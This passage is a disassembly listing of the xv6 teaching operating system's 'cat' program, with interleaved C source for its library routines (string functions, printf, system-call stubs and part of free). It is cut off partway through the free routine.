53: 83 c4 10 add $0x10,%esp exit(); 56: e8 0b 03 00 00 call 366 <exit> } } 5b: 90 nop 5c: c9 leave 5d: c3 ret 0000005e <main>: int main(int argc, char *argv[]) { 5e: 8d 4c 24 04 lea 0x4(%esp),%ecx 62: 83 e4 f0 and $0xfffffff0,%esp 65: ff 71 fc pushl -0x4(%ecx) 68: 55 push %ebp 69: 89 e5 mov %esp,%ebp 6b: 53 push %ebx 6c: 51 push %ecx 6d: 83 ec 10 sub $0x10,%esp 70: 89 cb mov %ecx,%ebx int fd, i; if(argc <= 1){ 72: 83 3b 01 cmpl $0x1,(%ebx) 75: 7f 12 jg 89 <main+0x2b> cat(0); 77: 83 ec 0c sub $0xc,%esp 7a: 6a 00 push $0x0 7c: e8 7f ff ff ff call 0 <cat> 81: 83 c4 10 add $0x10,%esp exit(); 84: e8 dd 02 00 00 call 366 <exit> } for(i = 1; i < argc; i++){ 89: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 90: eb 71 jmp 103 <main+0xa5> if((fd = open(argv[i], 0)) < 0){ 92: 8b 45 f4 mov -0xc(%ebp),%eax 95: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 9c: 8b 43 04 mov 0x4(%ebx),%eax 9f: 01 d0 add %edx,%eax a1: 8b 00 mov (%eax),%eax a3: 83 ec 08 sub $0x8,%esp a6: 6a 00 push $0x0 a8: 50 push %eax a9: e8 f8 02 00 00 call 3a6 <open> ae: 83 c4 10 add $0x10,%esp b1: 89 45 f0 mov %eax,-0x10(%ebp) b4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) b8: 79 29 jns e3 <main+0x85> printf(1, "cat: cannot open %s\n", argv[i]); ba: 8b 45 f4 mov -0xc(%ebp),%eax bd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx c4: 8b 43 04 mov 0x4(%ebx),%eax c7: 01 d0 add %edx,%eax c9: 8b 00 mov (%eax),%eax cb: 83 ec 04 sub $0x4,%esp ce: 50 push %eax cf: 68 a0 08 00 00 push $0x8a0 d4: 6a 01 push $0x1 d6: e8 fe 03 00 00 call 4d9 <printf> db: 83 c4 10 add $0x10,%esp exit(); de: e8 83 02 00 00 call 366 <exit> } cat(fd); e3: 83 ec 0c sub $0xc,%esp e6: ff 75 f0 pushl -0x10(%ebp) e9: e8 12 ff ff ff call 0 <cat> ee: 83 c4 10 add $0x10,%esp close(fd); f1: 83 ec 0c sub $0xc,%esp f4: ff 75 f0 pushl -0x10(%ebp) f7: e8 92 02 00 00 call 38e <close> fc: 83 c4 10 add $0x10,%esp for(i = 1; i < argc; i++){ ff: 83 45 f4 01 addl $0x1,-0xc(%ebp) 103: 8b 45 f4 mov -0xc(%ebp),%eax 106: 3b 03 cmp (%ebx),%eax 108: 7c 88 jl 92 <main+0x34> } exit(); 10a: e8 57 02 00 00 call 366 <exit> 0000010f <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 10f: 55 push %ebp 110: 89 e5 mov %esp,%ebp 112: 57 push %edi 113: 53 push %ebx asm volatile("cld; rep stosb" : 114: 8b 4d 08 mov 0x8(%ebp),%ecx 117: 8b 55 10 mov 0x10(%ebp),%edx 11a: 8b 45 0c mov 0xc(%ebp),%eax 11d: 89 cb mov %ecx,%ebx 11f: 89 df mov %ebx,%edi 121: 89 d1 mov %edx,%ecx 123: fc cld 124: f3 aa rep stos %al,%es:(%edi) 126: 89 ca mov %ecx,%edx 128: 89 fb mov %edi,%ebx 12a: 89 5d 08 mov %ebx,0x8(%ebp) 12d: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 130: 90 nop 131: 5b pop %ebx 132: 5f pop %edi 133: 5d pop %ebp 134: c3 ret 00000135 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 135: 55 push %ebp 136: 89 e5 mov %esp,%ebp 138: 83 ec 10 sub $0x10,%esp char *os; os = s; 13b: 8b 45 08 mov 0x8(%ebp),%eax 13e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 141: 90 nop 142: 8b 55 0c mov 0xc(%ebp),%edx 145: 8d 42 01 lea 0x1(%edx),%eax 148: 89 45 0c mov %eax,0xc(%ebp) 14b: 8b 45 08 mov 0x8(%ebp),%eax 14e: 8d 48 01 lea 0x1(%eax),%ecx 151: 89 4d 08 mov %ecx,0x8(%ebp) 154: 0f b6 12 movzbl (%edx),%edx 157: 88 10 mov %dl,(%eax) 159: 0f b6 00 movzbl (%eax),%eax 15c: 84 c0 test %al,%al 15e: 75 e2 jne 142 <strcpy+0xd> ; return os; 160: 8b 45 fc mov -0x4(%ebp),%eax } 163: c9 leave 164: c3 ret 00000165 <strcmp>: int strcmp(const char *p, const char *q) { 165: 55 push %ebp 166: 89 e5 mov %esp,%ebp while(*p && *p == *q) 168: eb 08 jmp 172 <strcmp+0xd> p++, q++; 16a: 83 45 08 01 addl $0x1,0x8(%ebp) 16e: 83 45 0c 01 addl $0x1,0xc(%ebp) while(*p && *p == *q) 172: 8b 45 08 mov 0x8(%ebp),%eax 175: 0f b6 00 movzbl (%eax),%eax 178: 84 c0 test %al,%al 17a: 74 10 je 18c <strcmp+0x27> 17c: 8b 45 08 mov 0x8(%ebp),%eax 17f: 0f b6 10 movzbl (%eax),%edx 182: 8b 45 0c mov 0xc(%ebp),%eax 185: 0f b6 00 movzbl (%eax),%eax 188: 38 c2 cmp %al,%dl 18a: 74 de je 16a <strcmp+0x5> return (uchar)*p - (uchar)*q; 18c: 8b 45 08 mov 0x8(%ebp),%eax 18f: 0f b6 00 movzbl (%eax),%eax 192: 0f b6 d0 movzbl %al,%edx 195: 8b 45 0c mov 0xc(%ebp),%eax 198: 0f b6 00 movzbl (%eax),%eax 19b: 0f b6 c0 movzbl %al,%eax 19e: 29 c2 sub %eax,%edx 1a0: 89 d0 mov %edx,%eax } 1a2: 5d pop %ebp 1a3: c3 ret 000001a4 <strlen>: uint strlen(char *s) { 1a4: 55 push %ebp 1a5: 89 e5 mov %esp,%ebp 1a7: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 1b1: eb 04 jmp 1b7 <strlen+0x13> 1b3: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1b7: 8b 55 fc mov -0x4(%ebp),%edx 1ba: 8b 45 08 mov 0x8(%ebp),%eax 1bd: 01 d0 add %edx,%eax 1bf: 0f b6 00 movzbl (%eax),%eax 1c2: 84 c0 test %al,%al 1c4: 75 ed jne 1b3 <strlen+0xf> ; return n; 1c6: 8b 45 fc mov -0x4(%ebp),%eax } 1c9: c9 leave 1ca: c3 ret 000001cb <memset>: void* memset(void *dst, int c, uint n) { 1cb: 55 push %ebp 1cc: 89 e5 mov %esp,%ebp stosb(dst, c, n); 1ce: 8b 45 10 mov 0x10(%ebp),%eax 1d1: 50 push %eax 1d2: ff 75 0c pushl 0xc(%ebp) 1d5: ff 75 08 pushl 0x8(%ebp) 1d8: e8 32 ff ff ff call 10f <stosb> 1dd: 83 c4 0c add $0xc,%esp return dst; 1e0: 8b 45 08 mov 0x8(%ebp),%eax } 1e3: c9 leave 1e4: c3 ret 000001e5 <strchr>: char* strchr(const char *s, char c) { 1e5: 55 push %ebp 1e6: 89 e5 mov %esp,%ebp 1e8: 83 ec 04 sub $0x4,%esp 1eb: 8b 45 0c mov 0xc(%ebp),%eax 1ee: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 1f1: eb 14 jmp 207 <strchr+0x22> if(*s == c) 1f3: 8b 45 08 mov 0x8(%ebp),%eax 1f6: 0f b6 00 movzbl (%eax),%eax 1f9: 38 45 fc cmp %al,-0x4(%ebp) 1fc: 75 05 jne 203 <strchr+0x1e> return (char*)s; 1fe: 8b 45 08 mov 0x8(%ebp),%eax 201: eb 13 jmp 216 <strchr+0x31> for(; *s; s++) 203: 83 45 08 01 addl $0x1,0x8(%ebp) 207: 8b 45 08 mov 0x8(%ebp),%eax 20a: 0f b6 00 movzbl (%eax),%eax 20d: 84 c0 test %al,%al 20f: 75 e2 jne 1f3 <strchr+0xe> return 0; 211: b8 00 00 00 00 mov $0x0,%eax } 216: c9 leave 217: c3 ret 00000218 <gets>: char* gets(char *buf, int max) { 218: 55 push %ebp 219: 89 e5 mov %esp,%ebp 21b: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 21e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 225: eb 42 jmp 269 <gets+0x51> cc = read(0, &c, 1); 227: 83 ec 04 sub $0x4,%esp 22a: 6a 01 push $0x1 22c: 8d 45 ef lea -0x11(%ebp),%eax 22f: 50 push %eax 230: 6a 00 push $0x0 232: e8 47 01 00 00 call 37e <read> 237: 83 c4 10 add $0x10,%esp 23a: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 23d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 241: 7e 33 jle 276 <gets+0x5e> break; buf[i++] = c; 243: 8b 45 f4 mov -0xc(%ebp),%eax 246: 8d 50 01 lea 0x1(%eax),%edx 249: 89 55 f4 mov %edx,-0xc(%ebp) 24c: 89 c2 mov %eax,%edx 24e: 8b 45 08 mov 0x8(%ebp),%eax 251: 01 c2 add %eax,%edx 253: 0f b6 45 ef movzbl -0x11(%ebp),%eax 257: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 259: 0f b6 45 ef movzbl -0x11(%ebp),%eax 25d: 3c 0a cmp $0xa,%al 25f: 74 16 je 277 <gets+0x5f> 261: 0f b6 45 ef movzbl -0x11(%ebp),%eax 265: 3c 0d cmp $0xd,%al 267: 74 0e je 277 <gets+0x5f> for(i=0; i+1 < max; ){ 269: 8b 45 f4 mov -0xc(%ebp),%eax 26c: 83 c0 01 add $0x1,%eax 26f: 39 45 0c cmp %eax,0xc(%ebp) 272: 7f b3 jg 227 <gets+0xf> 274: eb 01 jmp 277 <gets+0x5f> break; 276: 90 nop break; } buf[i] = '\0'; 277: 8b 55 f4 mov -0xc(%ebp),%edx 27a: 8b 45 08 mov 0x8(%ebp),%eax 27d: 01 d0 add %edx,%eax 27f: c6 00 00 movb $0x0,(%eax) return buf; 282: 8b 45 08 mov 0x8(%ebp),%eax } 285: c9 leave 286: c3 ret 00000287 <stat>: int stat(char *n, struct stat *st) { 287: 55 push %ebp 288: 89 e5 mov %esp,%ebp 28a: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 28d: 83 ec 08 sub $0x8,%esp 290: 6a 00 push $0x0 292: ff 75 08 pushl 0x8(%ebp) 295: e8 0c 01 00 00 call 3a6 <open> 29a: 83 c4 10 add $0x10,%esp 29d: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 2a0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2a4: 79 07 jns 2ad <stat+0x26> return -1; 2a6: b8 ff ff ff ff mov $0xffffffff,%eax 2ab: eb 25 jmp 2d2 <stat+0x4b> r = fstat(fd, st); 2ad: 83 ec 08 sub $0x8,%esp 2b0: ff 75 0c pushl 0xc(%ebp) 2b3: ff 75 f4 pushl -0xc(%ebp) 2b6: e8 03 01 00 00 call 3be <fstat> 2bb: 83 c4 10 add $0x10,%esp 2be: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 2c1: 83 ec 0c sub $0xc,%esp 2c4: ff 75 f4 pushl -0xc(%ebp) 2c7: e8 c2 00 00 00 call 38e <close> 2cc: 83 c4 10 add $0x10,%esp return r; 2cf: 8b 45 f0 mov -0x10(%ebp),%eax } 2d2: c9 leave 2d3: c3 ret 000002d4 <atoi>: int atoi(const char *s) { 2d4: 55 push %ebp 2d5: 89 e5 mov %esp,%ebp 2d7: 83 ec 10 sub $0x10,%esp int n; n = 0; 2da: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 2e1: eb 25 jmp 308 <atoi+0x34> n = n*10 + *s++ - '0'; 2e3: 8b 55 fc mov -0x4(%ebp),%edx 2e6: 89 d0 mov %edx,%eax 2e8: c1 e0 02 shl $0x2,%eax 2eb: 01 d0 add %edx,%eax 2ed: 01 c0 add %eax,%eax 2ef: 89 c1 mov %eax,%ecx 2f1: 8b 45 08 mov 0x8(%ebp),%eax 2f4: 8d 50 01 lea 0x1(%eax),%edx 2f7: 89 55 08 mov %edx,0x8(%ebp) 2fa: 0f b6 00 movzbl (%eax),%eax 2fd: 0f be c0 movsbl %al,%eax 300: 01 c8 add %ecx,%eax 302: 83 e8 30 sub $0x30,%eax 305: 89 45 fc mov %eax,-0x4(%ebp) while('0' <= *s && *s <= '9') 308: 8b 45 08 mov 0x8(%ebp),%eax 30b: 0f b6 00 movzbl (%eax),%eax 30e: 3c 2f cmp $0x2f,%al 310: 7e 0a jle 31c <atoi+0x48> 312: 8b 45 08 mov 0x8(%ebp),%eax 315: 0f b6 00 movzbl (%eax),%eax 318: 3c 39 cmp $0x39,%al 31a: 7e c7 jle 2e3 <atoi+0xf> return n; 31c: 8b 45 fc mov -0x4(%ebp),%eax } 31f: c9 leave 320: c3 ret 00000321 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 321: 55 push %ebp 322: 89 e5 mov %esp,%ebp 324: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 327: 8b 45 08 mov 0x8(%ebp),%eax 32a: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 32d: 8b 45 0c mov 0xc(%ebp),%eax 330: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 333: eb 17 jmp 34c <memmove+0x2b> *dst++ = *src++; 335: 8b 55 f8 mov -0x8(%ebp),%edx 338: 8d 42 01 lea 0x1(%edx),%eax 33b: 89 45 f8 mov %eax,-0x8(%ebp) 33e: 8b 45 fc mov -0x4(%ebp),%eax 341: 8d 48 01 lea 0x1(%eax),%ecx 344: 89 4d fc mov %ecx,-0x4(%ebp) 347: 0f b6 12 movzbl (%edx),%edx 34a: 88 10 mov %dl,(%eax) while(n-- > 0) 34c: 8b 45 10 mov 0x10(%ebp),%eax 34f: 8d 50 ff lea -0x1(%eax),%edx 352: 89 55 10 mov %edx,0x10(%ebp) 355: 85 c0 test %eax,%eax 357: 7f dc jg 335 <memmove+0x14> return vdst; 359: 8b 45 08 mov 0x8(%ebp),%eax } 35c: c9 leave 35d: c3 ret 0000035e <fork>: 35e: b8 01 00 00 00 mov $0x1,%eax 363: cd 40 int $0x40 365: c3 ret 00000366 <exit>: 366: b8 02 00 00 00 mov $0x2,%eax 36b: cd 40 int $0x40 36d: c3 ret 0000036e <wait>: 36e: b8 03 00 00 00 mov $0x3,%eax 373: cd 40 int $0x40 375: c3 ret 00000376 <pipe>: 376: b8 04 00 00 00 mov $0x4,%eax 37b: cd 40 int $0x40 37d: c3 ret 0000037e <read>: 37e: b8 05 00 00 00 mov $0x5,%eax 383: cd 40 int $0x40 385: c3 ret 00000386 <write>: 386: b8 10 00 00 00 mov $0x10,%eax 38b: cd 40 int $0x40 38d: c3 ret 0000038e <close>: 38e: b8 15 00 00 00 mov $0x15,%eax 393: cd 40 int $0x40 395: c3 ret 00000396 <kill>: 396: b8 06 00 00 00 mov $0x6,%eax 39b: cd 40 int $0x40 39d: c3 ret 0000039e <exec>: 39e: b8 07 00 00 00 mov $0x7,%eax 3a3: cd 40 int $0x40 3a5: c3 ret 000003a6 <open>: 3a6: b8 0f 00 00 00 mov $0xf,%eax 3ab: cd 40 int $0x40 3ad: c3 ret 000003ae <mknod>: 3ae: b8 11 00 00 00 mov $0x11,%eax 3b3: cd 40 int $0x40 3b5: c3 ret 000003b6 <unlink>: 3b6: b8 12 00 00 00 mov $0x12,%eax 3bb: cd 40 int $0x40 3bd: c3 ret 000003be <fstat>: 3be: b8 08 00 00 00 mov $0x8,%eax 3c3: cd 40 int $0x40 3c5: c3 ret 000003c6 <link>: 3c6: b8 13 00 00 00 mov $0x13,%eax 3cb: cd 40 int $0x40 3cd: c3 ret 000003ce <mkdir>: 3ce: b8 14 00 00 00 mov $0x14,%eax 3d3: cd 40 int $0x40 3d5: c3 ret 000003d6 <chdir>: 3d6: b8 09 00 00 00 mov $0x9,%eax 3db: cd 40 int $0x40 3dd: c3 ret 000003de <dup>: 3de: b8 0a 00 00 00 mov $0xa,%eax 3e3: cd 40 int $0x40 3e5: c3 ret 000003e6 <getpid>: 3e6: b8 0b 00 00 00 mov $0xb,%eax 3eb: cd 40 int $0x40 3ed: c3 ret 000003ee <sbrk>: 3ee: b8 0c 00 00 00 mov $0xc,%eax 3f3: cd 40 int $0x40 3f5: c3 ret 000003f6 <sleep>: 3f6: b8 0d 00 00 00 mov $0xd,%eax 3fb: cd 40 int $0x40 3fd: c3 ret 000003fe <uptime>: 3fe: b8 0e 00 00 00 mov $0xe,%eax 403: cd 40 int $0x40 405: c3 ret 00000406 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 406: 55 push %ebp 407: 89 e5 mov %esp,%ebp 409: 83 ec 18 sub $0x18,%esp 40c: 8b 45 0c mov 0xc(%ebp),%eax 40f: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 412: 83 ec 04 sub $0x4,%esp 415: 6a 01 push $0x1 417: 8d 45 f4 lea -0xc(%ebp),%eax 41a: 50 push %eax 41b: ff 75 08 pushl 0x8(%ebp) 41e: e8 63 ff ff ff call 386 <write> 423: 83 c4 10 add $0x10,%esp } 426: 90 nop 427: c9 leave 428: c3 ret 00000429 <printint>: static void printint(int fd, int xx, int base, int sgn) { 429: 55 push %ebp 42a: 89 e5 mov %esp,%ebp 42c: 83 ec 28 sub $0x28,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 42f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 436: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 43a: 74 17 je 453 <printint+0x2a> 43c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 440: 79 11 jns 453 <printint+0x2a> neg = 1; 442: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 449: 8b 45 0c mov 0xc(%ebp),%eax 44c: f7 d8 neg %eax 44e: 89 45 ec mov %eax,-0x14(%ebp) 451: eb 06 jmp 459 <printint+0x30> } else { x = xx; 453: 8b 45 0c mov 0xc(%ebp),%eax 456: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 459: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 460: 8b 4d 10 mov 0x10(%ebp),%ecx 463: 8b 45 ec mov -0x14(%ebp),%eax 466: ba 00 00 00 00 mov $0x0,%edx 46b: f7 f1 div %ecx 46d: 89 d1 mov %edx,%ecx 46f: 8b 45 f4 mov -0xc(%ebp),%eax 472: 8d 50 01 lea 0x1(%eax),%edx 475: 89 55 f4 mov %edx,-0xc(%ebp) 478: 0f b6 91 24 0b 00 00 movzbl 0xb24(%ecx),%edx 47f: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1) }while((x /= base) != 0); 483: 8b 4d 10 mov 0x10(%ebp),%ecx 486: 8b 45 ec mov -0x14(%ebp),%eax 489: ba 00 00 00 00 mov $0x0,%edx 48e: f7 f1 div %ecx 490: 89 45 ec mov %eax,-0x14(%ebp) 493: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 497: 75 c7 jne 460 <printint+0x37> if(neg) 499: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 49d: 74 2d je 4cc <printint+0xa3> buf[i++] = '-'; 49f: 8b 45 f4 mov -0xc(%ebp),%eax 4a2: 8d 50 01 lea 0x1(%eax),%edx 4a5: 89 55 f4 mov %edx,-0xc(%ebp) 4a8: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 4ad: eb 1d jmp 4cc <printint+0xa3> putc(fd, buf[i]); 4af: 8d 55 dc lea -0x24(%ebp),%edx 4b2: 8b 45 f4 mov -0xc(%ebp),%eax 4b5: 01 d0 add %edx,%eax 4b7: 0f b6 00 movzbl (%eax),%eax 4ba: 0f be c0 movsbl %al,%eax 4bd: 83 ec 08 sub $0x8,%esp 4c0: 50 push %eax 4c1: ff 75 08 pushl 0x8(%ebp) 4c4: e8 3d ff ff ff call 406 <putc> 4c9: 83 c4 10 add $0x10,%esp while(--i >= 0) 4cc: 83 6d f4 01 subl $0x1,-0xc(%ebp) 4d0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4d4: 79 d9 jns 4af <printint+0x86> } 4d6: 90 nop 4d7: c9 leave 4d8: c3 ret 000004d9 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4d9: 55 push %ebp 4da: 89 e5 mov %esp,%ebp 4dc: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 4df: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 4e6: 8d 45 0c lea 0xc(%ebp),%eax 4e9: 83 c0 04 add $0x4,%eax 4ec: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 4ef: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 4f6: e9 59 01 00 00 jmp 654 <printf+0x17b> c = fmt[i] & 0xff; 4fb: 8b 55 0c mov 0xc(%ebp),%edx 4fe: 8b 45 f0 mov -0x10(%ebp),%eax 501: 01 d0 add %edx,%eax 503: 0f b6 00 movzbl (%eax),%eax 506: 0f be c0 movsbl %al,%eax 509: 25 ff 00 00 00 and $0xff,%eax 50e: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 511: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 515: 75 2c jne 543 <printf+0x6a> if(c == '%'){ 517: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 51b: 75 0c jne 529 <printf+0x50> state = '%'; 51d: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 524: e9 27 01 00 00 jmp 650 <printf+0x177> } else { putc(fd, c); 529: 8b 45 e4 mov -0x1c(%ebp),%eax 52c: 0f be c0 movsbl %al,%eax 52f: 83 ec 08 sub $0x8,%esp 532: 50 push %eax 533: ff 75 08 pushl 0x8(%ebp) 536: e8 cb fe ff ff call 406 <putc> 53b: 83 c4 10 add $0x10,%esp 53e: e9 0d 01 00 00 jmp 650 <printf+0x177> } } else if(state == '%'){ 543: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 547: 0f 85 03 01 00 00 jne 650 <printf+0x177> if(c == 'd'){ 54d: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 551: 75 1e jne 571 <printf+0x98> printint(fd, *ap, 10, 1); 553: 8b 45 e8 mov -0x18(%ebp),%eax 556: 8b 00 mov (%eax),%eax 558: 6a 01 push $0x1 55a: 6a 0a push $0xa 55c: 50 push %eax 55d: ff 75 08 pushl 0x8(%ebp) 560: e8 c4 fe ff ff call 429 <printint> 565: 83 c4 10 add $0x10,%esp ap++; 568: 83 45 e8 04 addl $0x4,-0x18(%ebp) 56c: e9 d8 00 00 00 jmp 649 <printf+0x170> } else if(c == 'x' || c == 'p'){ 571: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 575: 74 06 je 57d <printf+0xa4> 577: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 57b: 75 1e jne 59b <printf+0xc2> printint(fd, *ap, 16, 0); 57d: 8b 45 e8 mov -0x18(%ebp),%eax 580: 8b 00 mov (%eax),%eax 582: 6a 00 push $0x0 584: 6a 10 push $0x10 586: 50 push %eax 587: ff 75 08 pushl 0x8(%ebp) 58a: e8 9a fe ff ff call 429 <printint> 58f: 83 c4 10 add $0x10,%esp ap++; 592: 83 45 e8 04 addl $0x4,-0x18(%ebp) 596: e9 ae 00 00 00 jmp 649 <printf+0x170> } else if(c == 's'){ 59b: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 59f: 75 43 jne 5e4 <printf+0x10b> s = (char*)*ap; 5a1: 8b 45 e8 mov -0x18(%ebp),%eax 5a4: 8b 00 mov (%eax),%eax 5a6: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 5a9: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 5ad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5b1: 75 25 jne 5d8 <printf+0xff> s = "(null)"; 5b3: c7 45 f4 b5 08 00 00 movl $0x8b5,-0xc(%ebp) while(*s != 0){ 5ba: eb 1c jmp 5d8 <printf+0xff> putc(fd, *s); 5bc: 8b 45 f4 mov -0xc(%ebp),%eax 5bf: 0f b6 00 movzbl (%eax),%eax 5c2: 0f be c0 movsbl %al,%eax 5c5: 83 ec 08 sub $0x8,%esp 5c8: 50 push %eax 5c9: ff 75 08 pushl 0x8(%ebp) 5cc: e8 35 fe ff ff call 406 <putc> 5d1: 83 c4 10 add $0x10,%esp s++; 5d4: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(*s != 0){ 5d8: 8b 45 f4 mov -0xc(%ebp),%eax 5db: 0f b6 00 movzbl (%eax),%eax 5de: 84 c0 test %al,%al 5e0: 75 da jne 5bc <printf+0xe3> 5e2: eb 65 jmp 649 <printf+0x170> } } else if(c == 'c'){ 5e4: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 5e8: 75 1d jne 607 <printf+0x12e> putc(fd, *ap); 5ea: 8b 45 e8 mov -0x18(%ebp),%eax 5ed: 8b 00 mov (%eax),%eax 5ef: 0f be c0 movsbl %al,%eax 5f2: 83 ec 08 sub $0x8,%esp 5f5: 50 push %eax 5f6: ff 75 08 pushl 0x8(%ebp) 5f9: e8 08 fe ff ff call 406 <putc> 5fe: 83 c4 10 add $0x10,%esp ap++; 601: 83 45 e8 04 addl $0x4,-0x18(%ebp) 605: eb 42 jmp 649 <printf+0x170> } else if(c == '%'){ 607: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 60b: 75 17 jne 624 <printf+0x14b> putc(fd, c); 60d: 8b 45 e4 mov -0x1c(%ebp),%eax 610: 0f be c0 movsbl %al,%eax 613: 83 ec 08 sub $0x8,%esp 616: 50 push %eax 617: ff 75 08 pushl 0x8(%ebp) 61a: e8 e7 fd ff ff call 406 <putc> 61f: 83 c4 10 add $0x10,%esp 622: eb 25 jmp 649 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 624: 83 ec 08 sub $0x8,%esp 627: 6a 25 push $0x25 629: ff 75 08 pushl 0x8(%ebp) 62c: e8 d5 fd ff ff call 406 <putc> 631: 83 c4 10 add $0x10,%esp putc(fd, c); 634: 8b 45 e4 mov -0x1c(%ebp),%eax 637: 0f be c0 movsbl %al,%eax 63a: 83 ec 08 sub $0x8,%esp 63d: 50 push %eax 63e: ff 75 08 pushl 0x8(%ebp) 641: e8 c0 fd ff ff call 406 <putc> 646: 83 c4 10 add $0x10,%esp } state = 0; 649: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) for(i = 0; fmt[i]; i++){ 650: 83 45 f0 01 addl $0x1,-0x10(%ebp) 654: 8b 55 0c mov 0xc(%ebp),%edx 657: 8b 45 f0 mov -0x10(%ebp),%eax 65a: 01 d0 add %edx,%eax 65c: 0f b6 00 movzbl (%eax),%eax 65f: 84 c0 test %al,%al 661: 0f 85 94 fe ff ff jne 4fb <printf+0x22> } } } 667: 90 nop 668: c9 leave 669: c3 ret 0000066a <free>: static Header base; static Header *freep; void free(void *ap) { 66a: 55 push %ebp 66b: 89 e5 mov %esp,%ebp 66d: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 670: 8b 45 08 mov 0x8(%ebp),%eax 673: 83 e8 08 sub $0x8,%eax 676: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 679: a1 48 0b 00 00 mov 0xb48,%eax 67e: 89 45 fc mov %eax,-0x4(%ebp) 681: eb 24 jmp 6a7 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 683: 8b 45 fc mov -0x4(%ebp),%eax 686: 8b 00 mov (%eax),%eax 688: 39 45 fc cmp %eax,-0x4(%ebp) 68b: 72 12 jb 69f <free+0x35> 68d: 8b 45 f8 mov -0x8(%ebp),%eax 690: 3b 45 fc cmp -0x4(%ebp),%eax 693: 77 24 ja 6b9 <free+0x4f> 695: 8b 45 fc mov -0x4(%ebp),%eax 698: 8b 00 mov (%eax),%eax 69a: 39 45 f8 cmp %eax,-0x8(%ebp) 69d: 72 1a jb 6b9 <free+0x4f> for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 69f: 8b 45 fc mov -0x4(%ebp),%eax 6a2: 8b 00 mov (%eax),%eax 6a4: 89 45 fc mov %eax,-0x4(%ebp) 6a7: 8b 45 f8 mov -0x8(%ebp),%eax 6aa: 3b 45 fc cmp -0x4(%ebp),%eax 6ad: 76 d4 jbe 683 <free+0x19> 6af: 8b 45 fc mov -0x4(%ebp),%eax 6b2: 8b 00 mov (%eax),%eax 6b4: 39 45 f8 cmp %eax,-0x8(%ebp) 6b7: 73 ca jae 683 <free+0x19> break; if(bp + bp->s.size == p->s.ptr){ 6b9: 8b 45 f8 mov -0x8(%ebp),%eax 6bc: 8b 40 04 mov 0x4(%eax),%eax 6bf: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 6c6: 8b 45 f8 mov -0x8(%ebp),%eax 6c9: 01 c2 